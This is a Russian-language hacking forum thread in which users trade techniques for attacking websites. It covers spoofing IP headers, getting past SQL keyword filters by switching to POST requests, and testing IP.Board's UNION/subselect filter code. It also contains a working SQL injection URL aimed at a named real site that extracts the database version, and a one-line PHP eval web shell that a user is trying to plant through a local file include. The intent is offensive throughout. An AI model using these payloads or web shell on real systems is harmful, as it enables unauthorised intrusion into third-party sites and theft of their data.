Вопросы по уязвимостям

[d0znpp]

Сообщение от Lostnull

При авторизации, отображается ip с которого зашел.
Менял хидеры X-Forwarded-For, CLIENT_IP, X_COMING_FROM. В результате все равно реальный айпи.
Какими хидерами еще может чекать скрипт IP?

Скорее всего скрипт проверяет адрес, с которого пришел запрос, а не хидеры )
Проверь через прокси (анонимный только), если это Flash или Java, адрес все-равно будет реальный.
Если нет - адрес прокси.

[durito]

столкнулся с жесткой фильтрацией information_schema, ни смена регистра, ни обрамление комментариями не помогли.

проблема решена post-запросами. жесткая фильтрация только get

[azid]

Есть варианты обхода union select?)
Из паблика вродь все перепробовал...валится всегда одна и таж ошибка

Настройки драйвера не допускают использование комментариев в SQL запросе.
Измените атрибут allow_sub_select на 1 у объекта драйвера для выключения этой проверки.

зы:POST не катит,тож фильтруется

help

[Lostnull]

azid Я конечно могу быть не прав, но ты ковыряешь IP.Board
Код

PHP код:

$_tmp = strtolower( $this->remove_all_quotes($the_query) );

if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
{
    $this->fatal_error( "You are not allowed to use comments in your SQL query.\nAdd \$this->ipsclass->DB->allow_sub_select=1; before any query construct to allow them" );
    return false;
}

if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
{
    $this->fatal_error( "UNION query joins are not allowed.\nAdd \$this->ipsclass->DB->allow_sub_select=1; before any query construct to allow them" );
    return false;
}
else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
{
    if ( count( $matches ) > 1 )
    {
        $this->fatal_error( "SUB SELECT query joins are not allowed.\nAdd \$this->ipsclass->DB->allow_sub_select=1; before any query construct to allow them" );
        return false;
    }
} 


Да?

[azid]

В точку ...и все же вопрос актуален

[Boolean]

Сообщение от Lostnull

azid Я конечно могу быть не прав, но ты ковыряешь IP.Board
Код

PHP код:

$_tmp = strtolower( $this->remove_all_quotes($the_query) );

if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
{
    $this->fatal_error( "You are not allowed to use comments in your SQL query.\nAdd \$this->ipsclass->DB->allow_sub_select=1; before any query construct to allow them" );
    return false;
}

if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
{
    $this->fatal_error( "UNION query joins are not allowed.\nAdd \$this->ipsclass->DB->allow_sub_select=1; before any query construct to allow them" );
    return false;
}
else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
{
    if ( count( $matches ) > 1 )
    {
        $this->fatal_error( "SUB SELECT query joins are not allowed.\nAdd \$this->ipsclass->DB->allow_sub_select=1; before any query construct to allow them" );
        return false;
    }
} 


Да?

PHP код:

<?php
$_tmp = "select 1 uniOn seLect 2";
if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
{
    die( "UNION query joins are not allowed.\nAdd \$this->ipsclass->DB->allow_sub_select=1; before any query construct to allow them" );
}
else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
{
    if ( count( $matches ) > 1 )
    {
        die( "SUB SELECT query joins are not allowed.\nAdd \$this->ipsclass->DB->allow_sub_select=1; before any query construct to allow them" );
    }
} 

die('Ok!'); 
?>

как бы "Ok!" вернуло, мб я что-то путаю, но флаг s отвечает за многострочность, это i отвечает за регистрозависимость, хм...

[Nightmare]

http://maratavto.ru/index.php?page=SQL
Вот вроде бы SQL, а с другой стороны раскрутить никак... Как тут можно выкрутиться?

[~d0s~]

Сообщение от Nightmare

http://maratavto.ru/index.php?page=SQL
Вот вроде бы SQL, а с другой стороны раскрутить никак... Как тут можно выкрутиться?

http://maratavto.ru/index.php?page=10)and(0)union+select+1,2,version()--+
элементарная скуля, вывод в тайтле

[nomad]

Есть локальный инклуд + phpinfo, использую скрипт https://rdot.org/forum/showpost.php?p=18024&postcount=11
Т.к. allow_url_fopen = off, "затащить" файл из-вне не могу. Решил записать скрипт вида

PHP код:

<? eval($_REQUEST[a]); ?>

, но при записи в файл остается только <? eval(); ?>
Почему так, и как можно это решить?

[Andrey1800]

Сообщение от nomad

Решил записать скрипт вида

PHP код:

<? eval($_REQUEST[a]); ?>

, но при записи в файл остается только <? eval(); ?>
Почему так, и как можно это решить?

мб стоит заэкранировать $ ?